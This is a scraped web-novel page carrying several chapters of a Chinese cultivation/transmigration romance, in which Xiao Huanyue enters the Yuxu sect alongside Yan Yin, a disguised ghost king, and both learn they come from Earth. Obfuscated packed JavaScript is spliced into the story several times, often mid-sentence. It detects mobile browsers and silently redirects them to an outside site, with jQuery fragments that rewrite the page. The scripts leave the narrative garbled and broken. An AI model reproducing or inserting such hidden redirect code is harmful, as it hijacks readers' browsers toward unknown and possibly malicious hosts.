;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14223840|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”萧唤月低声喃喃,念出信上内容之后,她脸上迷茫之色更甚。 信上说,当初里云宫宫主虽然遵循预言,有意让女儿改名换姓断了亲缘,但并没有阻碍她将来的修仙路,反而令宫中亲信将她送往玉胥宗,有意让宗门长老代为抚养。不曾想半途出了意外,有人将当时还是婴儿的萧唤月掳走,带去了凡界。 这种秘密言隐不知道自己能不能听,但萧唤月并没有做出藏信的动作,于是他默认自己可以有知情权,很自然地挤在她身边,与她同看。 萧唤月的确没有要瞒他的意思,这件事中言隐是实打实的局外人,跟她不会有任何利益纠纷。 此时她身边只有他,竟然下意识询问起他的意见:“你觉得这些消息看起来可信吗?” 如果信上说的是真的,东生难道就是那个曾经掳走她的人? 萧唤月竭力回想婴儿时期的记忆......然而大部分记忆都很模糊。婴儿嗜睡,年幼的她无法抵抗身体本能,许多时候都在睡梦中度过,记忆是碎片化的。 “他们没有骗你的理由。”言隐直言不讳,“但你被掳走之后里云宫的人似乎也没有费太大力气去找,可见在那位宫主心中,你并没有占据多重要的地位。” “嗯。”倒没觉得扎心,萧唤月自己也是这么认为的。 此刻她最在意的是,东生究竟是谁?他谎称自己是里云宫的人,可事实看来并非如此。 仙鹤踱步到萧唤月身边,蹭了蹭她的手背,似是无声的催促。 她摸了摸那颗毛茸茸的脑袋:“稍等......我得想想。” 信尾昭意提到,若她想维持现在的生活,他不会再来打扰。若她有意拜入宗门,那他便会亲自来接她上山。 总感觉这一招是在以退为进呢......她琢磨,面前看似有两个选择,实则只有一个。发生了这么多事之后,怎么可能当做什么都没发生啊! 更别提还有个身份不明的东生躲在暗处,不知意欲何为。 如今玉胥宗抛来橄榄枝,她没理由不接住。打铁还需自身硬,她知道,若危机再度来袭,不是次次都能有好运气。 萧唤月抿唇,撕下一角新纸,提袖执笔,郑而重之地写下了自己的答复。 只几个字:“请师兄引荐。” 写完她把纸片卷成一卷,塞进小竹筒,绑回了仙鹤腿上。 言隐在旁边冷不丁道:“怎么就叫上师兄了......” 萧唤月倒没什么小心思:“我是想借这个称呼表明态度。但是,唉。” “你又在叹气。”言隐挑眉,“开心点呗。” 萧唤月是万里挑一的天才,可丘山全是。 她知道这封信寄出意味着什么,闲适悠哉的大小姐生活可能要到头了,拜入宗门后就得在天才堆里摸爬滚打,跟爹娘多半也是聚少离多......但人生转折点就是来得这么突然。 望着仙鹤远去的影子,她想,没有反悔的机会了。 “也许我太冲动了。”迟来的惆怅涌上心头,萧唤月惴惴道,“都还没有跟爹娘商量。” “不想去?”言隐眼神一亮,“我帮你把送信的仙鹤捉回来。” 他还真干得出这种事。 萧唤月连忙拉住跃跃欲试的言隐:“不,不必。” 言隐颓然:“切。”可见她心中早已做出决定了。 被这么一点拨,萧唤月倒是醒悟过来——没什么可纠结的,重来一次她依旧会做出相同的选择。事后会惆怅会愁闷,但并没有后悔。 15. 第 15 章 萧唤月走前,唯一放心不下的是家里的老爹老娘。 虽然东生的目标应该是她,但爹娘亦有可能受到牵连。为此昭意自告奋勇,去了趟钦天监,请求监正分派人手,在暗中保证萧家老两口的安危。 萧唤月知道钦天监和玉胥宗关系没那么好,甚至算不上是稳定的长期合作伙伴。上次玉胥宗肯派大弟子昭意下山,只是因为宗门长老得知阴阳裂隙被人为开启,以为鬼界试图入侵人间扰乱秩序,误判了此事的严重程度。 自然,昭意在钦天监那边也没有多大的面子,花梁燕不会因他三言两语就点头应允,分派人手去干保镖的活。 最后是昭意许诺,将来监正如果有需要,他可以在原则范围内,帮钦天监做一件事——以个人名义,而非玉胥宗。 “并不是很有分量的条件。”昭意对萧唤月道,“我以为她不会同意,但她斟酌一番过后,居然点头了。” 萧唤月没了后顾之忧,自是喜不自胜。跟着昭意去玉胥宗的路上,她连连道谢,一边高兴,一边又有些犯愁。欠了这么大的人情,她不知该怎么还。 “昭大哥,你真是个热心肠的好人。”萧唤月背着包袱,勉力赶路才跟上昭意的步子,还不忘在喘气的间歇送上夸赞,“这事哪能让你一个人担,如果钦天监将来找你兑现那个诺言,我也去帮忙。” 在回信里她虽称他为师兄,但人到了跟前她却叫不出口了。还是“昭大哥”叫得比较顺口,比昭公子多一分亲近,比昭师兄少一分僭越,甚好甚好。她觉得自己很会做人,情商见长。 “并不全是我的功劳。我看那位监正对你颇为欣赏,换了别人,她可不一定肯帮忙。” 萧唤月:“就算是这样,千里马常有而伯乐不常有,你们两位就是我的伯乐......” 昭意:“伯乐是谁?” “呃,是指,善于发现人才的人......”她干笑两声,挠挠下巴,“好像这么说也不太恰当,哪有说自己是人才的......就当我王婆卖瓜好了。” 昭意好奇道:“王婆又是谁?” 旁边传来一声嗤笑。 萧唤月扭头望向笑声传来的方向,只看到言隐小半个侧脸。 言隐中气不足地:“看什么看,我笑他,又没笑你。” 她不动声色地靠近了言隐:“你也是伯乐。” “......我可不算。” “你说我是修仙的好苗子,还给了我那本书。” 言隐哼了一声:“实话实说而已。” 他是以萧唤月朋友的身份出现在昭意面前的,谎称自己是散修,欲与萧唤月一同入门拜师。 昭意勘他修为似乎不浅,不愿见明珠蒙尘,干脆把两人一起打包带上山,至于能不能成为玉胥宗弟子,就得取决于长老们了。 萧唤月猜不透言隐的动因,但也没在昭意面前拆他的台。一路上她若干次用询问的眼神看向言隐,后者装傻充愣,一扭头,假装看风景去了。 由于要迁就萧唤月的行进速度,昭意没有御剑,一行人坐船走水路再转陆路,到了第六日,才行至丘山附近的小树林。 他们在林中升起篝火,准备在这里休息一晚,摘点野果充饥。 是夜,萧唤月终于逮住机会,前半夜合眼装睡,等到昭意睡熟了,才起身动作,悄咪咪绕到言隐那一边。 她还没出声,言隐已经警觉地睁开了眼睛,看到靠近的是她,又把眼睛闭了回去。 “做贼似的,干什么?” 萧唤月惊慌地把手指竖在唇边,示意他小声点,但又想到他闭着眼睛看不见,于是凑到他耳边:“别把昭大哥吵醒了呀。” 言隐心中一沉。 才认识几天她就体贴入微至此,说几句话还怕吵醒那昭大哥......莫非她真的很中意这一款,已经到了一见钟情的程度? 火堆爆出噼里啪啦的微响,两人的面庞都被火光映得发红。 言隐心烦意乱道:“我看他睡得挺沉,吵不醒。” “这不是谨慎为妙吗。”萧唤月用气声道,“你真要去拜师?” “不然呢。” “你不是鬼王吗?怎么能......” 萧唤月的话戛然而止。她忽然想到一种可能性,言隐莫非是想作为鬼界卧底,潜入修仙界? “修出肉身之后,跟活人差别也没多大。”言隐打了个哈欠,“我自有办法绕过弟子资质测验,混进门派,这就不劳你操心了。” 到时压一压修为就行,灵力嘛,他也能修得出来。还能借此机会去修仙界玩一圈,完美! 萧唤月:“我是想问,你为什么要这样做。” 他满不在乎:“想做就做了呗。” 到最后问了跟没问一样。 萧唤月满腹忧虑地回到自己的位置坐下,靠着树干假寐。 其实想一想,言隐如果是去当卧底的,那一开始就没必要把鬼王的真实身份告诉她,难道真如他所说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14229007|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是因为——想做就做? 萧唤月把眼睛睁开一条缝,看见对面言隐歪着头,缩在宽大的披风里,睡得正香。 此人不可控性太强,但并没有做过对她不利的事。即便是出于私心,她也不想在昭意面前揭穿言隐的身份。 她暗叹,事已至此,走一步看一步吧。 萧唤月欣赏了一会儿言隐的睡颜。 她也想睡,很困,可睡不着。几天前这个时候她还躺在家里,裹着柔软舒服的锦衾。 做出要去往丘山的决定时,萧唤月并没遭受到爹娘的阻拦。她本以为他们会不同意,甚至已经想好了该怎么劝说他们,但云婉只是千叮咛万嘱咐,让她路上务必小心,有空回家看看......说来说去,没说出阻止她离去的话。 “你从小就是个有主意的孩子。”云婉回忆起她小时候的事,带着笑意同她告别,转头又偷偷抹眼泪,“以前给你取名字,让你自己选,你一下子就抓住写着‘月’的那一张。抓得真没错。长大了,正如皓月一般,明丽,清妙......抓不着了。” 的确不是凑巧,这是她自己的主意。她原本的名字里也有一个“月”字,看这个字便格外亲切些。穿到这个世界之后什么都变了,幸好,还有个名字能保留住过去的一点影子。 噼啪一声,又爆开一个火星子。她盯着火堆发了会儿呆,眼前开始出现虚影,热气和火光令她的视线朦胧起来。 * 丘山之巅,殿堂阁楼灯火通明,红漆黄绦琉璃瓦与月色交融,冷硬的建筑轮廓也显出几分幽柔来。 同霄殿内十二根铜柱环转排列,尽头一张紫檀长案,三位宗门尊者盘坐在此,面面相觑。 中间是玉胥宗宗主山进晚,左右分别为传功长老八万春,与执事长老孤水。 山进晚道:“仙鹤来信,昭意已在路上。他不仅带了白家那丫头,还捎了个散修小子,说是很有天分,我们可以一并收入门下。” 传功长老点点头:“有才者来之不拒。” 山进晚:“里云宫那边怎么说?” 执事长老沉声道:“白江的意思是,该如何就如何,当她是个普通的上山问道的弟子就好......她和白家,已经没有关系了,不必因为那层身份,给予特殊对待。” 那个小丫头,本该在十六年前就被送到玉胥宗。不想她去了凡间,兜兜转转,经历过一番无谓的波折,最后依然来到了这里。 宗主感慨:“有缘呐。” 16. 第 16 章 山顶到山脚,共九百九十九级石阶,一场夜雨过后,满是落花尘泥。花瓣碎叶与污水混作一团,湿淋淋地摊铺在阶面,实在有碍瞻观。 打扫的任务,自然就交给了两位新入宗的外门弟子。 规定不能使用法术,只能一级一级扫上去,美名其曰,修心养性。 言隐寒着脸,手里的扫帚舞得飞快:“好无聊。” 萧唤月揉了揉僵硬的胳膊:“好无聊。” 他们顺利通过了弟子资质测验,入宗门已一月有余。这些日子以来,大部分时候在传道堂受业,闲暇时分则总是被强塞各种各样的繁琐任务。 萧唤月:“我以为你只是一时兴起。” 这句没头没尾的话让言隐迷茫了片刻。随后他反应过来,她是在好奇——他怎么还没离开。 关于他放着鬼王不做跑来这儿当外门弟子扫地的事,萧唤月始终抱以莫大的怀疑与不解。要换了她是鬼王,可不会这么自讨没趣。 “这才哪到哪,我不是那么没耐心的人。”言隐改口称,“况且扫地也挺有意思的。” 言隐蹲下身,捡了根树枝,在地上划拉几下:“你看,还可以玩泥巴。” 萧唤月:“......” 她也蹲下来,扫帚放在一旁,双手托腮:“不过幸好有你,不然我一个人来到这里,形只影单......” 言隐看她一眼,勾了勾嘴角,眸光淡漠:“形只影单?怎么会。就算没有我你也能混得不错,渐渐融入这里,然后喜欢上什么人......” 他住了嘴,观察她的神色。 萧唤月不甚在意地扬了扬眉:“想得有点儿远了吧。” “哈哈,开个玩笑。”他移开目光,“别在意。” 尾调打着旋,七拐八拐,仿佛只是在打趣逗乐。 言隐很快就转移了注意力,手中动作未停,捏着树枝一端,在泥面刮来刮去,就地作画。 他盯着那地方端详了一会儿,转头兴冲冲地问萧唤月:“你看,这像什么?” 萧唤月眨了眨眼,尝试在那堆杂乱线团中找出隐藏的图案。 “像......小猫?”她指着对应的线条挨个儿解析,“这个圆形是猫头,这条长长的是猫尾巴,这两个三角是猫耳朵。” 言隐赞许道:“看来不错嘛,我的画功。” “是我猜得好。”萧唤月有些来了兴致,四下张望,确认附近没有其他弟子,于是堂而皇之地继续偷起懒来。“我来画,你试试猜。” “行。” 她的画功比起言隐来不相上下,牟足劲儿在泥面上画了幅图,煞有其事地添添改改半天,依然是凌乱无比的一堆线团。 她满眼期待地看向言隐:“猜猜看。” 言隐转着圈左看右看,脸上浮现出为难之色:“一棵树?”他指着下端几条直线,“树干。”又指着上端弯弯曲曲的乱线,“树叶?果子?” 说完自己也觉得不靠谱,理直气壮地补充:“这次不算数,我瞎猜的。” “瞎猜的?”萧唤月奇道,“可你猜对了啊。” “......是吗。”言隐心想这算是歪打正着,摇了摇头,对她的画功提出意见,“你叶子画得也太乱了。” “你的猫也是。”萧唤月诚恳道,“猫脸上的胡须太多了,我差点就没有猜出来。” 他没什么底气地反驳:“但我应该比你稍微好点。” “恰恰相反。” “不,你看你的叶子......这些弯弯曲曲的地方,比起叶子更像是盘在一起的电缆,结合下面那几条直直的长线......” 萧唤月眉心一跳:“电缆?” 言隐这才发觉自己失言,倒吸一口凉气,拿出平生最快的反应速度,找到个近音替代词脱口而出:“吊兰!” “哦,我听错了。” 言隐有些懊恼,这种口误按理来说不该发生在他身上。因为他穿越到这里已经很多年了,比在现代世界待的时间还要久,从前的记忆逐渐变得模糊,他也不会去刻意回忆。 对着那堆乱线,怎么会第一时间想到电缆呢。 他本以为自己几乎被这书中世界同化成原住民,但在攻略对象萧唤月面前,他的穿越者身份重新被擦拭得清晰起来,连带着那些久远的记忆都变得鲜明。 “这个上面是吊兰,嗯,下面是花盆支架......” 他嘴上还在胡侃,心里却乱七八糟琢磨起了别的东西:关于自己是穿越过来的这件事,要不要借机坦白算了?可......那样的话会不会太过突然? 对了,如果要坦白的话,得注意话术,必须假装是不经意间透露,还得把关于系统的那部分摘出去。 目前萧唤月对他的好感度数值是二十五,比起初见之时,防备心已经没那么重了,甚至可以说是颇有好感。 或许现在正是个不错的时机,坦白后她大概、可能、也许会对他更亲近一些? 要不要说呢......他陷入纠结。 然而嘴比心快,思虑间他已忍不住开口:“对了,你刚才把吊兰听成了什么来着?” 萧唤月站起身拍了拍手,重新拿起扫帚:“没什么。” 他吞了吞口水,转步到她面前。 “电缆,,没听错的话,是这两个字?” 萧唤月假装镇定:“市井坊间听来的玩意儿罢了,大概是什么古怪玩具的名字。” “我在老家也听过这个名字。” “老家......是鬼界?” “不,是更老的老家。”言隐目不转睛看着她,“那里不仅有名叫‘电缆’的东西,还有电杆,电线......很奇怪吧?” 萧唤月错愕抬目。 长到看不见尽头的石阶天梯之间,两人孤零零的影子相对而立。 碎花败叶顺着石阶往下滚落,他的发带也随着风向胡乱摇摆,与她长长的黑发缠在一处。 沉默在两人之间蔓延。 夜幕将倾,这委实不是个谈心的好时候。 萧唤月没头没脑地道:“天黑前没打扫完的话,可能会错过晚饭。呃,还有你的老家......我多嘴问一句,在哪个地方啊?” 言隐想了想,郑重回答她;“地球村。” “地球?” “地球。” 这词语让萧唤月倍感亲切,她瞪大了眼,难以置信地看着言隐。几乎可以确定,不是巧合。 她有些语无伦次,差点握上言隐的手:“你......我也听说过这地方。” 虽然已经心潮澎湃激动难耐,但保险起见,萧唤月决定再对几句暗号,免得认错亲。 她目光灼灼:“村里有首诗,春江潮水连海平——” “......那个什么,什么来着。”言隐急得走来走去,“我一时想不起来了!换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统:【由于宿主已非肉胎凡骨,灵芝作用效果减弱,积分价格降低。注意,购买后仅限宿主本人食用。】 言隐:“减弱后的效用是什么?” 系统:【食用即可为躯壳永久性注入生气,获得更接近活人的体验感。】 言隐不屑一顾:“变得像凡人一样庸弱么?我不要。” 系统:【物品“灵芝”不存在有副作用,食用后不会降低宿主原有属性点。它可以助你更好地融入当前环境,减少身份暴露的可能性。】 “听起来有点用,但不多。”出于谨慎他又问,“如果现在用了积分,到时候要兑换回家的机会,会不会不够用?” 系统:【不会,对于最终奖励而言,这点积分只是九牛一毛。】 言隐放下心来:“哦。” 但他想了想,决定先不急着买。等攒的积分更多些之后,再来挑挑别的。 此时萧唤月终于挣脱出他的怀抱,几番欲言又止,最后忍不住道:“你冷吗?” 言隐一愣:“不冷啊。” 萧唤月暗想,原来鬼的体温本就这么低么……简直像是被一坨冰块抱在怀里,夏天的话可能会挺舒服。 17. 第 17 章 两人晚饭都没去吃,拄着扫帚在石阶上一坐,前半夜纵言畅谈,唏嘘感慨,怀念起远在另一个维度的老家。 同样都是穿越人士,萧唤月看向言隐,羡慕之情溢于言表:“混得很不错嘛,咱俩都是外地来的,你倒坐上鬼界头把交椅了,我才刚入门。” 言隐:“因为我比你来得早。” “早很多?” “百来年。” 他等她很久了,可是她不知道。想到这里言隐难得有了倾诉欲,跟她说起从前的事:“活着的时候,我每天过得可无聊了。” “我记得你说过,你曾经是修士。”萧唤月好奇道,“是哪个门派的呀?他们教给你的东西很没趣么。” “没有门派,但我有个师父。”言隐迟疑了一下,还是继续说下去,“我师父那人很没劲。” “为什么?” “这不让干,那也不让干。” 萧唤月呵呵一笑:“严师出高徒嘛。” 言隐嘟囔:“算了,不说他了。反正我都死了,不用再听他的话。” 萧唤月隐约从他别扭的态度里察觉到,他不是真讨厌那位“师父”。但她无意窥探他人隐私,既然言隐没有要深聊下去的意思,她也就善解人意地岔开话题: “当鬼王总该自在了。” “是啊,鬼城有许多好玩的地方,死了未必比活着糟糕。” 言隐抬眼,见她没有接茬,轻轻撞了撞她的肩膀:“怎么不说话了。” 萧唤月回了神,轻声道:“我是在想,还是活着好,死了的话......很多东西都体验不到了。” “是吗。”言隐语调平平,没反驳,也没赞同。 “你是鬼王自然例外,其它小鬼想必没有这样的自由,能在人间四处游走。” “那也是为了保护它们,晒太阳对它们没好处。” “这样啊。”萧唤月若有所思,“你有时候会戴遮阳的箬帽,也是因为害怕阳光么?” “只是单纯不喜欢晒太阳而已。”言隐一扬下巴,“我已经修出肉身了,不再是灵体,自然无惧阳光。” 像他这样能重修肉身的鬼终究是占少数。流连鬼域不肯投胎的,多是懦弱彷徨,恐惧前路坷途,或心有执念未了者。 那样的鬼,就算强行修炼也极易走火入魔,又常年受鬼域阴气侵染,大都在无知无觉中变得面目全非,忘却人生来路,成为世人口中的“邪祟”。它们最终的结局就是消散于深不见底的幽冥之境,彻底失去投胎转世的机会。 言隐看向萧唤月,忽然好奇道:“你要是死了,去不去投胎?” “去。” “不想当鬼?” “感觉鬼域不是很宜居......” “其实住惯了还行。” “采光肯定不能好。”光是这一点就能让萧唤月望而却步。 “你喜欢晒太阳?” “嗯,冬天的太阳最舒服,我以前特意把自己的房间窗户改成落地窗,就为了晒太阳。” 言隐:“那你怎么没晒黑。” “我又不是追着太阳晒。”萧唤月挽起衣袖,露出一截小臂,“而且对比一下肤色,你可比我还要白些。” 言隐把护腕摘下来,果然,从手腕到手臂都不见色差,月色沐浴下白得快要反光。 纤细血管埋在皮肤下,呈现出极浅的淡蓝,但那仿佛只是白玉雕像上一抹加了颜料的点缀,里面真有流动的血液么?萧唤月对此表示怀疑。 言隐反应过来:“不对,我是鬼,你跟我有什么可比性。你见过哪个鬼专门去晒太阳晒成小麦色的?” 萧唤月被逗乐,想起曾经看过的恐怖片,里面的鬼的确大都阴森森白惨惨,底光一照,隔着屏幕都能被吓一哆嗦。 “不过,之前在梦里遇到的那只鬼,不怎么白。” 言隐想了想:“抬花轿那个?” “嗯。” “它没有修出肉身,也不是单纯的灵体。不知去哪座坟头前找的纸钱香烛,捏出了那样劣质的一具壳子。” 萧唤月悚然:“啊。” 言隐炫耀似的把自己的手递过去:“看,还是我的壳子质量好。” 萧唤月盯住看了一会儿,大着胆子在他手背上戳了戳:“有感觉么。” “一点点。” 她加大力道又戳了戳:“疼不疼?” “......这种程度怎么会痛,我又不是瓷娃娃。” 萧唤月犹豫了一下,说出心中所想:“大概因为太过苍白,看起来就像,就像......”她形容不出来。 言隐抬起手张开五指,半晌,露出恍然大悟的神色:“你想说像纸做的?” “嗯......差不多。”很薄很脆弱的感觉。 “不对。” 萧唤月一怔:“什么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14240197|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对?” “这具身体的原材料是金鱼草,不是纸。” 萧唤月有些惊讶:“你居然是草捏的。” “我的身体不是捏出来的。”言隐很严谨,纠正她的说法,“是修炼出来的,只是借了金鱼草来托魂。” 萧唤月似懂非懂地哦了一声。 她随手揪了根草,放在指尖把玩,想到这种脆弱的东西居然也能托载魂魄,顿时觉得十分奇妙。 她好奇问他:“为什么叫金鱼草?难道长得像金鱼么,我没有见过。” “开花的时候形似金鱼,枯萎后就没什么颜色了,像连成串的人类头骨。”言隐回忆,“鬼界暗河边,这种植物很常见。” 萧唤月遗憾:“只长在鬼界么。” “人间也有,你一定见过的,只是没有留心。不是什么太起眼的东西,眼一晃就过去了。” 萧唤月:“城市绿化带里会有吗?” 言隐:“或许会有,我从前也没注意过。不过即便同属金鱼草,也有质量高低之分,我绝对不会用绿化带里的。” ...... 两人有一搭没一搭地聊着,到了后半夜口水都快说干。 言隐存心试探,有意无意间又询问了萧唤月许多关于另一个世界的信息,最终得出结论:他们两人穿越前的世界背景以及社会文化格局,是完全一致的,各种细节都对得上。 言隐想,大概因为原书作者跟他来自同一个世界,这背景也延续到了书中设定为穿越女的萧唤月的身上。 这倒方便了他,以后跟萧唤月大能聊到一块儿去。 直到后半夜,两人才收敛了心绪拍拍屁股站起来,面朝一望无际的台阶,蓦地想起活还没干完。 商讨过后他俩一致同意用除尘诀作弊——反正干活的时间已经够久,连饭都没吃上,谁能质疑他们吃苦耐劳的品格? 天蒙蒙亮,萧唤月打着哈欠与言隐道别,准备回去补觉。 言隐同她挥手道别:“好好睡,今天我帮你请假。” 他倒是没有睡意,精神抖擞的状态一直持续到走进传道堂,今日讲学的是孤水长老。 毕竟是修仙之人,尊为长老,虽然年岁大资历高,外貌仍不见老态,瞧着也就三十岁上下,那副不苟言笑的神情,令言隐幻视曾经的数学老师。 长老一张嘴,道来道去的,比安眠药还管用,他立刻就昏昏欲睡起来。 18. 第 18 章 孤水看起来严厉,然而在她的课堂上,浑水摸鱼是再容易不过的事。 她只管自己讲自己的,讲完就离开,一点儿不拖泥带水,顶多临了多叮嘱一句:大家放堂后记得多加练习,打好基础,为年末的弟子选拔大赛做准备。 打瞌睡打得迷迷糊糊的言隐,被同桌邓相许一肘子肘醒: “言隐,你听见长老说的没。” “什么啊。”言隐面色不虞地抬起头。 “当然是弟子选拔那事。”邓相许提醒他,“没几个月了,你不紧张吗?” 关于孤水所说的选拔大赛,堂内弟子都抱以极大的关注度。 这场赛事的性质类似于比武招亲——亲传弟子的亲。 长老们会全程观赛,若相中了哪位表现优异的弟子,便可直接将徒弟认在自己名下。 成为亲传弟子的那位,将来可就大有机缘了。 即使无缘被长老们相中,也有机会从外门弟子晋升为内门弟子,前提是表现上佳。 是以,大家都指着在年末打场翻身仗,各个牟足了劲熟背理论,修习术法。然而更多东西不是靠死记硬背就能成功,玉胥宗多为剑修,比试时需得寒刃之下见真章。 言隐坦然:“不紧张。” 邓相许半信半疑:“你有把握?” “不告诉你。” “藏拙嘛,嘿嘿,我懂。”邓相许很鸡贼地凑过去,“对了,那个总跟你一起的女修呢?她今天怎么没来。” “她不舒服。” 邓相许挠挠头,哦了一声转过头去。过了会儿又忍不住问:“她......哪里不舒服,严重吗?” “不严重。” “是受了风寒?” “问那么多做什么。”言隐不耐烦了。 邓相许尴尬地咳了两声:“这不是念着同门之谊,多关心两句么。若她身子不好,那几个月后的大赛......” 言隐闻言,当真拧眉思考了一会儿,然后一拍案,笃定道:“至少打赢你应该没问题的。” “武断了些吧。”邓相许不怒反笑,“她入门晚,又非修仙世家出身......” “那又怎么。” 邓相许顿了一下,忽然压低了声音:“就算她天赋异禀,你也不该这么说,搞不好会为她树敌。” 言隐:“在赛场上,除了自己以外都是敌人,还需要树吗?” “为了防止赛前被人搞小动作,还是低调些。” 言隐惊奇:“仙门大派不是自诩高风亮节,也会搞小手段?” “人心诡谲,或许总有那么几颗老鼠屎,提防着点没毛病......” 言隐神看向他的眼神中多了几分审视:“那你......” 邓相许立刻言之凿凿地保证:“当然,我是不会当老鼠屎的,我输的起。” 言隐嗤地一声笑:“好吧。” * 丘山总共三座峰头,外门弟子大都居住在西面的重息峰。 相较主峰而言,重息峰上的房屋装修风格要朴素许多,数间院落稀稀散散坐落在半山腰,布局都大差不差。远远望去,一片绿树翠荫里夹杂着白墙黑瓦,若云雾做足了点缀,也能显出一点人间仙境般的缥缈感。 萧唤月就住在山腰院落群中的某一处。 身为外门弟子,她没有自己单独的院落,而是与另两名女修同住。 几间房屋挤在一起,勉强围了片空地出来,稍显逼仄。 但仅她们三人住,也是相当够用的了,更何况这间院子占尽地理优势,旁边还有一潭灵气充裕的清泉可辅助她们调息修炼,是许多弟子求也求不来的好位置。 待到清晨第一缕阳光钻进窗缝,萧唤月望了眼泛白的天色,叹了口气,起床换好衣服坐到梳妆镜前,把稍显凌乱的头发重新绑好。 银朱色的弟子常服,滚了圈白边,像是红梅林中一点雪,相当衬人气色。 昨日她没去上堂,睡了个饱觉,今儿却是躲不过了。 按照惯例,每逢火曜日,便是新入宗的外门弟子统一练习御剑术的日子。课堂相对自由,没有固定的讲师,而是由纯熟此道的师兄师姐代为授课,地点在后山。 许多弟子都期盼着火曜日的到来,整整一天在后山飞来飞去,吹风赏景。 就算耍滑偷懒,练习之余与同门插科打诨,师兄师姐们多半也会睁一只眼闭一只眼。 这可比在传道堂里读死书有趣得多。 对着镜子萧唤月惨然一笑。她算是个例外,这堂课于她而言没那么轻松。 她真正修炼的时间,满打满算还不到两个月,基础落下了许多。 与她同一批参加年末选拔的外门弟子,大都在入宗前就已经开始接触修仙相关的事项。对于修仙世家出身的弟子来说,心法内功更是从小就要练起,疏忽不得一点。 理论知识她还勉强能跟上进度,类似控火术除尘诀之类的小法术也可以很快掌握。 但御剑术不一样,它不需要多复杂的技巧,只需要能熟练地控制自身气息,灵力长时间且稳定地灌输在剑身之上,再通过不断练习精进,自然就能掌握妙门。 偏偏萧唤月缺的就是基础熟练度。在已经能御剑升空的同门之中,她这个小菜鸟便显得尤为突出,每次都引得师兄师姐格外关注。 每当别人或期待或探究或嘲笑的视线落在她身上时,她就控制不住地紧张,修习效果大打折扣。 出门前萧唤月给自己打气:明年就不用上这课了,只需要再熬几个月即可!争取今天别把屁股摔肿。 同院的两位女修已经先她一步出门了。莫名有种上课快要迟到的紧迫感,萧唤月横跨过空荡荡的天井,推开了院门。 一人站在院外正要敲门,却敲了个空,手握半拳僵在半空,尴尬地伸直了手指,改作一个打招呼的姿势。 萧唤月有些吃惊:“邓师兄?” 邓相许点了点头:“听言隐说你身体不适,我恰巧路过此地,来瞧瞧你。” “没有不舒服,只是昨天有点累。”她笑笑,“多谢师兄好意,既然碰上了,就一道去后山吧。” 两人低空御剑出行,萧唤月手掐着剑诀,没有什么闲聊的心思,只偶尔搭腔。她现在紧张得很,即便是这种高度也有失手的风险,她不敢分心。 一刻钟后,到了后山境内,她才松了口气,收诀下剑,轻快地跳到地面上:“不好意思了师兄,我御剑不熟练,一路上还要你将就我的速度。” 邓相许摆了摆手示意无妨:“没事。” 过了会儿他又道:“别叫师兄了,你直接叫我名字就好,我也没有比你早来几个月。” 是嫌她叫老了么?萧唤月眼珠一转,从善如流:“没问题!” 邓相许带着鼓励的神色:“那你叫一个试试?都是同门,相处之间别太拘束。” 感受到了同门试图引领她这个插班生融入集体的拳拳之心,萧唤月毫不含糊,字正腔圆地道:“邓——” 然而这三个字还没念完,另一道声音响起:“邓相许!” 邓相许转头一看,言隐不知何时鬼魅一样出现在他身后。幽幽凉气拂在后脖颈,搞得他鸡皮疙瘩都起了一层。怎么会有人的呼 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他靠在她身边,状似无意道:“你们今天怎么是一起过来的。” “他路过我院门口,正巧碰上。” “哦。”言隐望向另一侧的空地,手一指:“去哪里练习吧,人少。” 言隐走过去,熟练地往石头后面一钻,闭眼盘坐,假装打坐运功,实则是在打瞌睡发呆,时不时睁眼看看萧唤月练得如何。 萧唤月踩了踩脚下的土地,测试了一下柔软度。 嗯,软硬适中,摔下去应该不会太疼。 今天她准备挑战更高的高度,有点紧张。 萧唤月尚未获得属于自己的本命宝剑,目前用的这把玄铁剑是锻器阁统一发放的下品灵器,相当于新手装备,与她相适性并不特别好。 她屏息凝神站了上去,玄铁剑颤颤巍巍升到五六丈高的位置,静止不动。 不能操之过急,暂且在这高度稳一稳先。 身边时不时有几位御剑的同门飞速掠过,夹杂着惊叫与欢笑,好似在挑战无安全带版本的过山车。 萧唤月生怕被人冲撞到,连忙往石壁边挪了几寸,试图远离“繁忙空域”。 